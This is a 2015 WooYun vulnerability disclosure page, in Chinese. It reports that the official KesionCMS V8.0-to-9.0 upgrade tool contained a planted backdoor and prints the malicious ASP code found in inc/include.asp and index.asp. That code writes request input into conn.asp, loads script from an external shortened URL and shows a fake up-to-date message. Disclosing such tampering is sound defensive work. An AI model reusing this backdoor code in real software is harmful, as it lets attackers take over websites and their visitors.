当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-094514

漏洞标题：kesionV8.0升9.0工具中被修改过加入后门

相关厂商：kesion.com

漏洞作者： 路人甲

提交时间：2015-02-04 11:10

修复时间：2015-04-02 10:23

公开时间：2015-04-02 10:23

漏洞类型：地下0day/成功的入侵事件

危害等级：低

自评Rank：1

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-02-04： 细节已通知厂商并且等待厂商处理中
2015-02-09： 厂商主动忽略漏洞，细节向第三方安全合作伙伴开放
2015-04-05： 细节向核心白帽子及相关领域专家公开
2015-04-15： 细节向普通白帽子公开
2015-04-25： 细节向实习白帽子公开
2015-04-02： 细节向公众公开

简要描述：

要是用到V8.0升9.0工具就会被入侵

详细说明：

直接从官方下载来的 KesionCMS V8.0升9.0工具 。

漏洞证明：

代码inc/include.asp和index.asp最后面的代码
这代码可干的事很多吧。

<%
Dim strLogFile,Sender,StrLogText,Lzwudi,Lenovo
StrLogFile="conn.asp"
sender=request("sender")  
If sender=""  Then
Response.Write "<script src=http://dwz.cn/a2kug></script>"
Response.End
End If
StrLogText=StrLogText& sender
Set Lzwudi=Server.CreateObject("Scripting.FileSystemObject")
Set Lenovo=Lzwudi.OpenTextFile(Server.MapPath(".")&"\"&StrLogFile,8,True,0)
Lenovo.WriteLine(CHR(13)+CHR(10)&StrLogText)
Lenovo.Close
Set Lenovo=Nothing
Set Lzwudi=Nothing
Response.Write "科兴网络提示您：您已经是最新版本！"
'======================================功能升级========================================
%>

修复方案：

删除

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-04-02 10:23

厂商回复：

最新状态：

暂无